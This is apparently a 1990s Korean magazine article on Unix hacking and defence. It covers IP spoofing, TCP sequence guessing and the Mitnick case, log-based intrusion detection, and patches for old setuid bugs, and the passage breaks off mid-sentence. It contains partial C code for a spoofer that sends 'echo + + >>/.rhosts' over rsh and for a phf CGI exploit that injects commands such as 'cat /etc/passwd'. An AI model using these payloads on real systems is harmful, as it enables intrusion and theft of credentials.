B란 호스트가 하드디스크를 공유하고 있는데 A 란 호스 트와 B란 호스트는 보안이 잘 되어서
해킹하기가 보통 어려운 것이 아니라고 하자.

하지만 어떻게서든지 B란 호스트안에 있는 일급 극비 문서를 훔쳐오고 싶다면 어떻게 해야 할까?
그렇다면 해커의 최선의 선 택 방법은 다음과 같다. 우선 자신이 머물러 있는 호스트의 IP 어드레스를
B의 어드레스로 위장을 한다. 위장을 하면 B 의 호스 트의 화면에는 duplicated IP address 라는 문장이
찍히게 되고 B호스트는 네트워크 기능을 잠시 상실하게 된다.

이때를 놓치지 않고 해커의 호스트는 A 호스트에게 자신이 진짜 B호스트라는 정보를 보내어 A호스트와
같이 하드 디스크를 공유 하도록 시도한다. 성공하게 되면 해커는 A호스트의 하드디스크에 있는 극비
문서를 A호스트나 B호스트에 잡입하지 않고도 얻어낼 수 있게 된다.

또한 IP 스푸핑과 항상 연동돼 사용되는 공격법으로 TCP sequence number guessing attack을 들 수
있다. 이에 대해서도 잠시 설명해볼까 한다.

TCP Sequence Number Guessing Attack이란?

과거에 Internet worm의 저자로도 유명했던 Robert T.Morris가 벨 연구소에서 인턴쉽으로 일할 때 썼던
논문에서 처음으로 알려 졌고 AT&T사의 Bellovin S.M이 89년에 쓴 논문에서도 언급이 되었던 공격
방법이다(Security Problems in the TCP/IP Protoc ol Suite).

케빈 미트닉이 사용한 방법

또한, 이런 공격을 이용해 작년도에 시큐리티계를 떠들석하게 했었던 사건이 하나 있다. 바로 케빈
미트닉이 시모무라 쓰토무( 슈퍼컴퓨터 센터 소속 연구원)의 컴퓨터를 공격해 자료를 빼간 뒤 관리자인
시모무라 쓰토무를 조롱하고 달아난 사건이다. 케빈 미트닉은 상당기간 동안 잡히지 않다가 시모무라
쓰토쿠의 눈물겨운 추적끝에 간신히 잡힌 것으로 이 사건은 결말나게 되었다. 케빈 미트닉이 체포되어
잡혀가면서 시모무라에게 "당신의 실력은 정말 놀라왔소." 라고 말해 더 유명해진 사건이기도 하다. 바로
이 사건에서 케빈 미트닉이 쓴 방법도 TCP Sequence Number guessing attack의 특별한 한 형태라고 할
수 있다 . (미트닉이 사용한 방법은 IP 어드레스를 spoof해서 Berkerly R-command(rlogin, rcp , rsh
등등)를 공격한 방법이었다.)

자 이제, IP Spoofing과 TCP Sequence number guessing attack을 자세히 알아보자. 간단히 A와 B라는
호스트가 서로를 trust하 고 있다고 가정하자. 자신의 PC의 IP 어드레스를 B라는 호스트로 바꾸고
A에게 접근하면 가능성이 있지 않겠느냐라고 의문을 제 기하는 분이 계실지도 모르겠으나 자신의
위치가 B라는 호스트가 위치한 곳보다 A보다 훨씬 더 시간적으로 유리한 위치, 즉 LAN 에서나 가능할
법한 이야기다. 그외의 경우에는 거의 소용이 없다고 보아도 무방하다..

자신의 IP 어드레스를 변조해도 B라는 trusted host가 A에게로 도달하는 거리가 멀뿐만 아니라. 자신의
서브넷에서 다른 IP 어 드레스를 가진 패킷을 날린다는 것은 라우팅상의 문제를 비롯해 갖가지 문제점이
제기된다.

그럼 케빈 미트닉이 Berkeley R-commands를 공격하는 경우를 예로 들어서 IP spoofing 이 어떻게
작용하나에 대해서 알아보기 로 하자. 예를 들어 해커의 호스트를 evil.com이라 하고 target.com을
공격하기 위해서 target.com과 good.com간의 trusting Re lationship을 이용하고자 한다. 즉 ,

    target.com # cat /.rhosts
    good.com root
    target.com #
간단히 evil.com의 IP 어드레스를 good.com의 IP 어드레스로 바꾼 다음에target.com의 rsh server에
접속하려고 시도했다 하자. 이 경우에는 TCP가 갖고 있는 Initial 3-way 핸드셰이킹 때문에 커넥션이
이뤄지지 않는다. TCP의 Initial 3-way 핸드셰이킹 의 예를 우선 들어보자.
 
evil.com# telnet target.com login 할 경우

    evil.com -> target.com SYN 1415531521
        // evil.com이 Initial sequence number 를 보낸다.
    target.com -> evil.com ACK 1415531521 SYN 1823083521
        // target.com이 evil.com이 보낸 ISN을 ACK하고 target.com이 자신의 
        // Initial sequence number 를 보낸다.
    evil.com -> target.com ACK 1823083521
        // evil.com이 target.com의 ISN을 ACK한다.
위와 같은 패킷이 교환된다. TCP 헤더의 SYN 플래그는 'synchronize sequence numbers'이다. SYN
플래그는 TCP Sequence Number 를 동반하는데 이 넘버는 TCP/IP implementation마다 생성되는
방법이 약간씩 다르다. 4.4BSD에서는 OS가 초기화될 때 1로 초기 화되고 그 후는 0.5초마다 64,000씩
증가한다. 또한 새로운 TCP 커넥션이 만들어질 때마다 64,000씩 증가한다.

단순히 evil.com의 IP 어드레스를 바꾸는 것만으로는 target.com이 evil.com한테 보내는 ISN을 받을
수가 없고(왜냐면 target.c om은 good.com에게 ISN을 보내겠지요.라우팅이 그렇게 되어 있을 테니까.)
따라서 커넥션이 성립되지 않는다. 커넥션이 establis h될려면 good.com이 target.com이 보내는 ISN이
보내는 패킷에 응답을 하지 말아야할 뿐만 아니라(보통의 경우 good.com은 이 럴 경우 RST(Reset
connection) 패킷을 보내서 모든 것을 망친다) target.com이 good.com에게 보낸 ISN을 추측해서
ACK해줘야 한다. 이 두 스텝이 완벽하게 됐을 경우 echo '+ +' > /.rhosts 을 담은 rsh 패킷을 보내
원하는 목적을 이룰 수가 있다.

IP spoofer의 대략적인 코드

    hose_conn(trust_host, trust_addr, seq_num, port_num)
    {
        ...
        /* sendtcppacket(
        struct ether_addr source_hardware addr.
        struct ehter_addr dest_hardware addr.
        u_long source ip addr.
        u_long dest ip addr.
        u_short source port.
        u_short dest port.
        u_long sequence no.
        u_long acknowledge no.
        int flags (SYN, RST, ACK, PUSH, FIN)
        char * data
        int strlen(data)
        */
        sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), bad_addr, trust_addr,
        port_num[i], 513, seq_num, 0, TM_SYN, NULL, 0);
        ...
    }
    
    det_seq(targ_host, targ_addr, next_seq, offset)
    {
        ...
            / 커넥션을 요구하는 패킷의 전송 /
        sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), my_addr, targ_addr, start_port,
        514, start_seq, 0, TM_SYN, NULL, 0);
        /* readpacket(
        struct fddi_header fddi_header
        struct ether_header ether_header
        struct ip ip_header
        struct udphdr udp_header
        struct tcphdr tcp_header
        char * data
        int strlen(data) )
        */
        while(readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL) !=
        PTYPE_IP_TCP) ;
            if(ntohs(tcph.th_dport)==start_port && ntohs(tcph.th_sport)==514) {
           
                / 포트번호가 맞다면 reply 패킷으로 간주하고 guessing을 시작한다 /
            if(prev_seq) diff=tcph.th_seq-prev_seq;
            else diff=0;
            if(*offset==0) *offset=diff;
            prev_seq=tcph.th_seq;
            sendtcppacket(&(eh.ether_shost), &(eh_ether_dhost), my_addr, targ_addr,
            start_port++, 514, start_seq++, 0, TM_RST, NULL, 0);
        ...
    }
   
    
    spoof_conn(trust_addr, targ_host, targ_addr, next_seq)
    {
        char *string="0\0root\0root\0echo + + >>/.rhosts\0";
       
            / SYN 패킷을 고유한 시퀀스번호에 맞춰 전송 /
        sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port,
        514, seq++, 0, TM_SYN, NULL, 0);
        usleep(5000);
            / guess한 시퀀스번호에 맞춰 ACK 패킷을 전송 /
        sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port,
        514, seq, ++next_seq, TM_ACK, NULL, 0);
            / rsh request를 시퀀스번호와 ACK번호에 맞추어 전송 /
        sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port,
        514, seq, next_seq, TM_ACK, string, stringlen);
        seq+=stringlen;
            / 전송한 패킷이 ACK되어 처리되기를 기다린다 /
        sleep(1);
            / 새로운 시퀀스번호에 맞추어 FIN패킷을 전송 /
        sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port,
        514, seq, next_seq, TM_FIN, NULL, 0);
            / RST패킷 전송, 커넥션 파기./
        sendtcppacket(&(eh.ether_shost), &(eh.ether_dhost), trust_addr, targ_addr, port,
        514, seq+4, next_seq+4, TM_RST, NULL, 0);
        ...
    }
    
    main(argc, argv)
    {
            /* initialization of the packet */
        init_filter("tcp", NULL);
            /* trusted host의 513번 포트에 대해 flooding 시작 */
        hose_trusted(argv[1], trust_addr, seq_num, port_num);
            /* guessing Sequence Number */
        det_seq(argv[2], targ_addr, &next_seq, &offset);
            /* 실제 spoofing한 커넥션을 시작. 이때에는 다음 시퀀스번호를 알고있다 */
        spoof_conn(trust_addr, argv[2], targ_addr, next_seq);
            /* 모든 커넥션을 reset. */
        reset_trusted(argv[1], trust_addr, seq_num, port_num);
        exit(0);
    }
* IP spoofing 에 대해서는 다음의 정보를 참조하자.

    ftp://ftp.research.att.com/dist/internet_security
        Bellovin paper : ipext.ps.Z
            -> "Security Problems in the TCP/IP Protocol Suite"
        Morris paper : 117.ps.Z
            -> "A Weakness in the 4.2BSD Unix TCP/IP Software"
    CERT_advisory
        CA-95:01.IP.spoofing
넷스케이프를 이용한 해킹

마지막으로 최근 많은 인기를 얻고 있는 넷스케이프를 이용해 해킹하는 기법에 대해 살펴보자.
 
NCSA HTTPD를 이용한 해킹
 
참조: CERT Advisory CA-95:04
CIAC Advisory F-11: UNIX NCSA httpd Vulnerability
 
NCSA HTTPD를 돌리는 호스트의 관리자들은 소스에 CERT Advisory CA-95:04에서 제시한 패치를
적용한 후 돌려주기 바란다. httpd 프로세스가 작동하는 동안 외부의 해커가 아무런 인증절차없이 NCSA
httpd가 임의의 명령어를 수행하도록 할 수 있다. 비록 machine instruction level이어서 공격당하기 그리
쉬운 버그는 아니지만 주의가 요구되는 바이다. 현재 NCSA에서는 이 홀을 패치한 소스와 바이너리 버전
1.3R을 내놓고 있다.

또한 NCSA의 cgi-bin의 예제로 따라오는 프로그램중 phf라는 프로그램이 있다.이 프로그램의 문제는
popen(3S)이 새로운 라인이 들어올 경우 새로운 command 로 인식하기 때문에 문제가 발생한다.

cgi-bin 프로그램이 popen을 사용할 경우 다음과 같은 류의 프로그램을 이용해 쉽게 exploit될 수 있다.
아래의 코드는 기본적 으로 NCSA에 딸려오는 /cgi-bin/phf 를 이용하고 있다. 언론의 성격상 전부를
싣지는 않고 주요한 부분만을 싣는 것을 양해해 주기 바란다.

    /* 
    Usage : get hostname 'command you wanna execute'
    EX : get targethost 'cat /etc/passwd'
    */
    /* 주요 함수 몇가지만을 적었다. */
   
    int writen( fd , buf, nbytes )
    register int fd ;
    register char *buf ;
    register int nbytes ;
    {
        int nleft , nwritten ;
        
        nleft = nbytes ;
        while( nleft > 0 ) {
            nwritten = write( fd , buf , nleft );
            if( nwritten <= 0 ) return(nwritten); 
            nleft -= nwritten ;
            buf += nwritten ;
        }
        return( nbytes - nleft );
    }
   
    void make_cmd( char *cmd ,char *cmdinput)
    {
        char *tok;
        char buf[100];
        char *before = "GET /cgi-bin/phf?Jserver=life.sucks&Qalias=";
        char *behind =
        "&Qname=&Qemail=&nickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip=\
        n";
        bzero(buf,sizeof(buf));
        strcat(buf,"%0A");
        tok = strtok(cmdinput," ");
        strcat(buf,tok); strcat(buf,"%20");
        while( (tok=strtok(NULL," ")) != NULL ){
            strcat(buf,tok); 
            strcat(buf,"%20");
        }
        strcat(cmd,before);
        strcat(cmd,buf);
        strcat(cmd,behind);
    }
해킹계의 현실

해킹은 안 좋은 인식이라는 것이 대부분의 중론이다. 하지만 시스템 관리자들의 대부분의 경험을
들어보거나, 그들의 의견을 들 어보면 해킹은 필요악이라는 인식을 많이 하고 있다. 멀티유저들을 위한
시스템이어서 보안상 완벽할 수 없다는 것이 수학적으로 증명된 상태이므로, 보안에 완벽은 기하지
못하더라도 최선을 기하기 위해서는 어느 정도 해킹에 대한 지식이 있어야 한다.

또한 시스템의 버그를 발견해서 버그 리포트를 발표한 대다수들은 모두 한 때 시스템 침입자로서의
경력을 가졌던 사람들이 대 부분이라는 것이 이를 반증해준다고 할 수 있겠다. 현재 테크닉이 뛰어난
해커들은 대학생들이 대부분인데, 이들은 자신들의 보 안에 대한 지식을 인정해주었으면 하는 바램을
갖고 있다.
해커 추적하기(Intrusion detection)
언제까지 해커에게 당하고만 있을것인가? 해커가 들어왔다면 추적을 해서 잡아내는 일 또한 중요하다고
할 수 있다. 이제 해커를 추적하는 방법에 대해 알아보기로 하자. 처음 시스템에 로그인하게 되면 다음과
같은 메시지를 보낼 것이다.

    login: sakai
    password:
    Last login: Fri Mar 3 02:05:42 on console
    SunOS Release 4.1.3-KLE1.1.3 (BARAM_KOR) #2: Sun Sep 26 10:16:21 KST 1993
    You have mail.
    1995년03월03일(금) 03시10분34초 KST
    %
   
여기에 나타나는 Last login을 확인하고 자신이 로그인한 시간대가 아닌때에 로그인이 됐는가를 확인해
본다. 침입자가 들어온 것 같은 의심이 들 때 관리자에게 연락해 그 시간대의 로그와 프로세스를 확인해
추적을 하도록 한다. 혹은 위와 같이 자신의 시 스템 로그인 메시지를 확인하는 방법도 있지만, 다른
방법으로, last라는 명령을 이용, 자신의 시스템에 자신의 이름으로 들어온 유저를 찾을 수도 있다.
다음은 last의 예이다.

    % last | more
    
    ksh ttyqd casaturn.kaist.a Thu Mar 16 16:52 still logged in
    chkim ttyr9 dal1.kaist.ac.kr Thu Mar 16 16:50 still logged in
    hjha ttyqd danso.kaist.ac.k Thu Mar 16 16:49 - 16:51 (00:01)
    hjha ttyra danso.kaist.ac.k Thu Mar 16 16:47 - 16:47 (00:00)
    solee ttyra dangun.kaist.ac. Thu Mar 16 16:46 - 16:46 (00:00)
    yjkim ttyr9 gaea.kaist.ac.kr Thu Mar 16 16:44 - 16:50 (00:05)
    chkim ttyr9 dal1.kaist.ac.kr Thu Mar 16 16:42 - 16:43 (00:01)
    drunken ttyra chagall.kaist.ac Thu Mar 16 16:40 - 16:40 (00:00)
    shhong ttyra dbserver.kaist.a Thu Mar 16 16:39 - 16:39 (00:00)
    jhlee ttyr9 paradise.kaist.a Thu Mar 16 16:38 - 16:39 (00:01)
    hjha ttyra danso.kaist.ac.k Thu Mar 16 16:36 - 16:37 (00:00)
   
위의 예에서, last | grep myloginname을 입력하면, 자신의 ID로 언제 어디서, 누가 로그인했는지를 알
수 있게 된다. 숙련된 해커는 위의 last 정보가 유지된 시스템 파일을 지우고 가지만, 여기서는 비숙련
해커를 가정하고 명령을 쳐볼 수 있다. 또는 약 간은 먼 이야기이지만, 해커가 들어와서 어떤 일을 하고
갔는지를 알아내기 위해서는 lastcomm이라는 명령어가 있다. lastcomm은 지금 이시간까지 시스템에서
수행되었던 명령어들을 보여주게 된다. 만약에 lastcomm이 작동되지 않는다면 시스템 관리자가 다 음의
명령을 수행하도록 해야 한다.

    % /usr/etc/accton /usr/adm/acct
    
    % lastcomm | more
    msgs ksh ttyp2 0.03 secs Thu Mar 16 16:58
    less ksh ttyp2 0.06 secs Thu Mar 16 16:58
    csh F ksh ttyp2 0.00 secs Thu Mar 16 16:58
    csh F ksh ttyp2 0.00 secs Thu Mar 16 16:58
    date ksh ttyp2 0.02 secs Thu Mar 16 16:58
    stty ksh ttyp2 0.02 secs Thu Mar 16 16:58
    stty ksh ttyp2 0.02 secs Thu Mar 16 16:58
    biff ksh ttyp2 0.02 secs Thu Mar 16 16:58
    hostname ksh ttyp2 0.02 secs Thu Mar 16 16:58
    whoami ksh ttyp2 0.03 secs Thu Mar 16 16:58
    hostname ksh ttyp2 0.02 secs Thu Mar 16 16:58
    hostname ksh ttyp2 0.02 secs Thu Mar 16 16:58
    hostname ksh ttyp2 0.02 secs Thu Mar 16 16:58
   
전문된 해커와 이를 막는 보안팀은 항상 여러가지 파일을 이용해서 보안을 체크하게 되며, last,
lastcomm은 하나의 시작에 불 과하다. 이 절의 내용을 정리하면, 시스템에 로그인 하고 로그아웃하면 그
기록이 어딘가 남는다는 것인데. 다음의 네가지 파일 이 대표적이다.


/usr/adm/lastlog
각 유저마다 가장 최근의 로그인 시간을 기록한다.
finger 나 someone 에 의해 알 수 있다.
/etc/utmp
유저가 로그인 할 때마다 시간을 적어둔다.
/usr/adm/wtmp
유저가 로그인/로그 아웃할 때 시간을 적어둔다.
last 또는 last someone 의 명령을 쳐서 내용을 알수있다.
/usr/adm/acct
유저들이 사용하는 명령어를 적어둔다. 
lastcomm 을 치면 내용을 알 수 있다.

하지만, 실제로 해커들은 이 모든 파일들을 지우고 나가는 것이 보통이며(생각을 보라, 나갈 때 자기가
들어왔다는 증거를 입멸 하고 나가는 것이 해커의 입장으로 서는 당연한 것이 아니겠는가), 따라서
일정한 시간 간격마다 혹은 하루의 어느 때에 수행하 도록 제어해주는 cron명령을 이용해 계속 위의
파일을 백업을 한다면 해커를 좀더 어렵게 만들 수 있겠다. 이는 관리자에게 필요 한 부분이지만, 안전한
호스트를 선택해 log만을 남기는 호스트를 두면 더욱 확실하다.(이는 물론 장비에 여유가 있을 때의 이야
기이다) 예를 들면,
 
/etc/syslog.conf 에서 정의를 하도록 하자.

    #
    # syslog configuration file
    #
    define LOGHOST eve
    *.err;kern.debug;auth.notice;user.none /dev/console
    mail.debug ifdef('LOGHOST',/var/log/syslog,@loghost)
    mail.debug /var/log/syslog
   
로그 호스트를 설정한 예를 들어보자. 다음 로그는 로그 호스트인 eldar 의 로그 파일에 기록된 것이다.
elbereth, luthien, be ren, eru, frodo, sam, aragorn, gandalf, faramir, legolasgimli, indigo1,3,4,10,
applic이 eldar로 로그를 보내도록 설정돼있다. 

    Mar 17 02:43:28 6C:eldar fingerd[17516]: connect from baikdu.kaist.ac.kr
    Mar 17 02:43:42 6D:eldar ftpd[17518]: connection from baikdu.kaist.ac.kr
    Mar 17 02:43:54 5E:eldar ftpd[17518]: FTP LOGIN FAILED FROM baikdu.kaist.ac.kr,
    chester
    Mar 17 02:44:15 6E:eldar ftpd[17518]: FTP LOGIN FROM baikdu.kaist.ac.kr as chester
    Mar 17 09:37:16 6C:luthien.seri.re.kr sendmail[10578]: JAA10572:
    to=sysuh@kigam.re.kr, ctladdr=news (15/15), delay=00:0 0:09, mailer=smtp,
    relay=sdp.kigam.re.kr.
    [134.75.144.201], stat=Sent (JAA15213 Message accepted for delivery)
    Mar 17 13:31:46 6B:frodo.seri.re.kr Xsession: poison: login
    Mar 17 13:40:32 6C:gimli.seri.re.kr ftpd[533]: connect from eve.kaist.ac.kr
    Mar 17 13:49:32 6D:indigo1.seri.re.kr ftpd[533]: connection from robin.kaist.ac.kr
   
이런 방법 외에도 파이어월, TCP wrapper 등을 이용해 아예 외부에서의 접근을 막아버릴 수 있다. 물론
tcpdump나 netmon들을 사용해 자신의 호스트로의 모든 접근을 감시할 수도 있다. 이와 같이 방어하는
기술도 점점 고도화가 되어 고수준의 해커가 아니 면 침투하기 어려운 호스트가 늘어가고 있다.

그 무수한 버그들을 모두 머리에 외어두고 이를 모두 패치하기란 상당히 어려운 일이다. 이런 경우에는
보안툴을 이용하여 체 크를 하는 것이 많은 시간을 절약할 수 있게 된다.


o 뉴스그룹
o 메일링 리스트
alt.2600
cert-advisory@cert.org
alt.2600.hope.tech
ciac-listproc@llnl.gov
alt.cracks
majordomo@suburbia.net
alt.hackers
majordomo@greatcircle.com
alt.hackintosh
bugtraq-request@crimelab.com
alt.hacker.malicious
majordomo@8lgm.org
alt.security
security@baikdu.kaist.ac.kr
alt.security.pgp

alt.security.ripem

comp.risks

comp.security.announce

comp.security.misc

comp.security.unix

misc.security

 

해킹정보..
예전에 있었던 해킹유형과, 예전의 버그들을 살펴보자.
물론 언론매체의 성 격상 현재 가장 심각한 홀(보안구멍)들은 싣지 않았다. 또한
분량상 수많은 버그들 중 극히 일부 분만을 다루었다.
/usr/local/bin/sysinfo version 1.0.0 의 버그 유닉스 시스템에는 IFS(Internal
File Seperator)라는 환경 변수가 있다.
이것이 shell 변수로 선언할 때 여러 문제를 일으키는 경우가 많다. IFS라는
환경변수를 내부 유저들이 마음대로 조작해 관리 자의 권한을 얻어낼 수 있는데
이러한 유형의 해킹으로 는 loadmodule 해킹, expreserve 해킹, rdist 해킹 등이
있다.
이는 단순히 쉘 변수 중 IFS를 /로 선 언하고 (쉘마다 다르겠지만 예를 들어 csh
이라면 % setenv IFS /) 몇 가지 트릭을 통해 일반유저들이 쉽게 root의 권한을
가 질 수 있게 된 다.
해결책 : sysinfo 버전 2.0.6 을 구해서 새로 인스톨한다.
rdist 버그
SunOS 4.1.2와 그 이전의 OS, A/UX 2.0.1, SCO 3.2v4.2, BSD NET/2 계열 Systems
또는 BSD rdist 를 지원하는 대부분의 시스템에 서 /usr/ucb/rdist나
/usr/bin/rdist는 보안에 문제가 되는 버그를 가지 고 있다.
rdist는 popen(3) 이라는 내부 시스템 함수(C function)을 이용해 해킹을 하게
된다. 이때 해킹을 위 해 이용하는 sendmail 이란 프로그램은 root 의 권한을
갖고 실행이 되게 된다. 이 역시 setuid 때 문인데 이를 악용하여 어떤 유저라도
root 가 될 수 있다 .
해결책 : SunOs의 Patch-ID# 100383-06 의 패치를 가져와서 설치하면 해결이
된다. 또는 rdist의 기 능을 없애기 위해 setuid bi t를 제거하거나 퍼미션을
0으로 해버린다.
autoreply 버그
/usr/local/bin/autoreply는 elm 패키지의 설치에서 부수적으로 따라나오는
프로그램이다. elm의 버그 는 모든 OS에서 공통적으로 지적되는 문제점이다.
따라서 이 버그는 대다수의 해커들에게 대단한 사랑(?)을 받았던 버그이다. 이
버그는 또한 OS에 관계 없이 Elm Mail System을 쓰기만 하면 보안 의 허점을
가지게 된다는 데에서 주목할 만하다. 역시 setuid의 수행 중 인터럽트를 걸 어
root의 권한으로 프로그램이 작동하는 상태에서 자신이 원하는 작업을
수행하도록 조작한다. 이를 이용 해 원하는 곳에 임의의 파일을 기록할 수 있다.
이를 이용해 root 디렉토리에 .rhosts에 조작을 하 는 경우가 대부분이다.
해결책 : 현재로서의 가장 좋은 해결책은 아예 autoreply의 퍼미션을 0으로 주어
사용을 못하게 해 버리는 것이다. 하지만 퍼미션을 666으로 두는 것도 안전하다.
binmail(/usr/bin/mail)의 버그
이는 썬 OS 4.1.x의 버전에서 적용되는 버그이다. 이는 파일 시스템의 어느
곳에라도 임의의 파일 을 생성시킬 수 있어서 일반 유저들이 root가 될 수 있다.
이 버그는 /var/spool/mail의 디렉토리 퍼 미션이 rwxrwxrwt(혹은 rwxrwxr-x)로
모든 유저에게 쓰기 권한이 허가돼있기 때문에 야기됐던 버 그이다.
해결책 :
1. vendor 들에게서 patch 를 구한다.
2. 가장 이상적으로 해결을 하는 것은 mail spool 디렉토리의 쓰기 권한을 아예
없애버 리는 것이 나, 이 쓰기 권한이 없다면 elm이나 /bin/mail, /usr/ucb/Mail
을 사용할 수 없게 된다. passwd(/usr/bin/passwd)의 버그 /bin/passwd -F의
버그라고도 하는 이것은 SunOS 4.1.x의 기종에서 해당되는 버그이다.
어떠한 일 반 유저라도 위의 버그를 이 용해, 임의의 파일(물론 공격을 목적으로
하므로 / 디렉토리의 .rhosts 를 생성시키는 것이다.)을 생 성해 이는 파일이
생성되기를 원하는 디렉토리에 symbolic link를 걸 어놓고 자신이 만들고 싶은
파일을 이 곳으로 링크시켜버 리는 방법을 이용하는 것이다.
해결책: 1. 벤더들에게서 패치(버그 수정 프로그램)를 구하도록 한다.
2. passwd의 실행파일에서 -F 옵션을 삭제해 간단히 패치할 수 있다.
SunOS 4.X.X /usr/lib/sendmail의 버그
흔히 SMTP(Simple Mail Transfer Protocol)의 버그라고 불리기도 하는 것이다.
전자우편 시스템은 외부망과의 연결에 필수적인 유틸리티로서 BSD 유닉스에는
우편의 배달과 수신을 담당하는 sendmail 프로그램이 있는데 이 프 로그램의 구
버전에는 보안상의 문제를 가지고 있다. 이것은 자신의 호스트의 25번 포트를
열어 보아 버그가 있는지 확인을 해 보아야 한다. 현재 BSD 8.6.4 버전은 이
문제점이 있는 것으로 드러났다. 이미 Worm 에서 심각한 보안문제를 일으킨 바
있으 므로 최신의 버전으로 바꾸어 주기 바란다.
해결책 : sendmail 한글 버전을 인스톨하면 된다. sendmail 한글 버전은
{{{{ftp://cair-archive.kaist.ac.kr/pub/hangul/mail }} }}에서 구할 수 있다.
1) telnet 25를 해서 자신의 호스트에 설치된 sendmail 의 버전을 확인한다.
2) /etc/aliases나 /usr/ucb/aliases에서 'decode'를 제거한다.
% cat /etc/aliases decode: "|/usr/bin/uudecode" 위와 같이 되어 있을 때는 위
문장을 주석 처리해준다.
올바른 예 # cat /etc/aliases ... #decode: "|/usr/bin/uudecode"
3) 프로그램에 메시지를 보내는 경우 쉘 명령을 보내는 방법을 사용하지
않도록한다.
4) sendmail.cf 에서 'wizard' 패스워드를 사용하지 않는다.
5) sendmail 에서 'debug' 명령을 이용하지 않는다,
다음을 참조하도록 한다.
baikdu % telnet localhost 25 Connected to localhost. Escape character is
'^]'. 220-baikdu.kaist.ac.kr Sendmail 8.6.9H1/Baikdu_KAIST_CSH ready at
Thu, 16 Mar 1995 00:58:23 +0900 220 ESMTP spoken here debug 500 Command
unrecognized wiz 500 Command unrecognized kill 500 Command unrecognized
quit 221 baikdu.kaist.ac.kr closing connection Connection closed by foreign
host.
만일 'debug'에 '200 Debug set'으로 응답한다면 새 버전으로 교체하기 바란다.
tftp 버그 tftp(Trivial ftp)는 디스크 없는 워크스테이션들의 네트워크 부트
기능으로 유저 데이터그램 방식의 접속 없는 프로토콜을 이용한 다. 이는 단순한
프로토콜이므로 보안상의 허점을 가지고 있다. tftp 설치를 잘못해놓았을 경우
외 부의 해커가 tftp를 이용해 /etc/passwd 파일을 가져갈 수가 있다. 자 신의
호스트에 설치된 tftp가 안전한지를 get /etc/passwd를 이용해 확인해보기
바란다.
[baram-sakai 193 ] tftp baram.kaist.ac.kr tftp> status Connected to
baram.kaist.ac.kr. Mode: netascii Verbose: off Tracing: off Rexmt-interval:
5 seconds, Max-timeout: 25 seconds tftp> get /etc/passwd Error code 1: File
not found tftp>
위와 같이 에러메시지가 뜨지 않는다면 설치가 잘못된 것이니 수정하기 바란다.
만일 쓰지 않는 다면 아예 퍼미션을 0으로 두어 작동을 못하게 하든가
/etc/inetd.conf 를 다음과 같이 둔다.
tftp dgram udp wait nobody /usr/etc/in.tftpd in.tftpd -s /tftpboot
TCP_WRAPPER를 사용하는 것도 많은 도움이 된다.
               다음페이지로..
             
해킹정보..
보안관련 FAQ
해커가 침입하기 가장 좋은 시기와 환경은?
전산망을 구성하는 네트워크의 끝에는 네트워크를 구성하기 위한
컴퓨터들(호스트)들이 붙어 있 어야 하고 이 호스트들은 운영체제를 돌리게
마련이다. 하지만 OS 는 인간이 짠 프로그램인 이상 버그가 있게 마련이고 이
버그로 말미암아 보안상의 문제가 유 발되는 것이다. 유닉스 시스템과 같이
멀티유저들이 사용하는 시스템은 보안상 완벽해질 수 없다 는 것이 수학적으로
증명이 됐다 . 더군다나 이 호스트를 네트워크 상에 연결해놓게 되면 더 문제가
일어나게 되는데, 호스트 내부 의 버그를 패치하지 않은 채 네트워크 상에
올려놓게 되면 '밥을 차려 놓았으니 밥을 먹도록 하 시오'라고 해커들에게
내주는 셈이 된다.
그래서 가장 완벽하게 보안 을 유지하고 싶으면 네트워 크에 올려놓기 전에 내부
홀(hole)을 완전히 패치를 하고, 그 다음에 네트워크에 연결해놓는 것이 좋다.
OS를 갓 인스톨하고 난 직후에는 OS의 버그들이 아직 남아 있는 상태여서 이 때
해커들에게 침 입을 받게 되면 속수무책이 된다. 또한 불필요한 서비스를 많이
하는 경우 해커들이 침입을 하기 더 좋아지게 되므로, 가급적이면 불필요한
서비스는 하지 않는 것 이 좋다.(guest 아이디 제공이나 sonnim 아이디 제공
같은 경우) 보안을 강화해주는 도구에는 어떤 것이 있나 (혹은 보안을
자동화해주는 프로그 램은?) 우선 보안을 자동화해주는 툴은 있을 수도 없고,
있어서도 안되고, 있지도 않다. 전세계적으로 컴 퓨터 보안은 활발한 연구의
대상이 되고 있다. {{{{ftp://cert.org }} }}이나,
{{{{ftp://coast.cs.purdue.edu }} }} 등에서 좋은 툴을 얻을 수 있고 또 KUS 팀
도 서서히 툴 개발을 시작하고 있다. 보안도구는 크게 점검 도구와 감시도구로
나눠지는데 다시 로컬 호스트용과 네트워크용으로 나눌 수 있다.
Local host check : cops, tiger, crack monitor: tripwire, ttywatcher Network
check : satan, iss, nfsbug, ypx monitor: netlog
해커가 컴퓨터에 침입하는 방법에는 어떤 것이 있나
null &default passwd account or passwd guessing tftp attack
ethernet sniffing /etc/hosts.equiv exploit (특히 SunOS 4.1.x) NFS mount
attack NIS domain name guessing Sendmail Attack
X window System Attack
WWW Attack
NFS file handle guessing DNS hack IP Spoofing
그 외 다수(예: rexd, AIX rlogin -froot...)
해커가 슈퍼유저의 권리를 획득하는 방법에는 어떤 것이 있 나.
OS마다 다르지만 대부분 허술한 set-user-id root 프로그램들을 이용한다.
SunOS 4.1.x를 예를 들어보면
/usr/local/bin/autoreply /usr/ucb/rdist /bin/mail race /bin/passwd race
/usr/openwin/bin/loadmodule sun sendmail 4.1 sendmail 8.6.9 debug hole
위의 리스트는 일반적으로 잘 알려진 것들인데 그것들 말고도 suid root
프로그램들을 일단 모두 스캔해 본 후 OS외에 다른 소프트웨어 인스톨 과정에서
생긴 것이 있으면 system call들을 추적하 며 조사한다. 혹, 소스 파일이 같이
있다면 좋다. 어느 suid root 프로그램의 소스 중에서..
if (!(editor = getenv("EDITOR"))) editor = "vi";
if (fork()) (void) wait(&junk);
else { (void) execlp(editor, editor, fname, NULL);
fprintf(stderr, "Whoops! Failed to exec %s\n", editor);
exit(1); }
위의 경우라면 해커는 search path list에(current directory)를 맨 처음 놓고
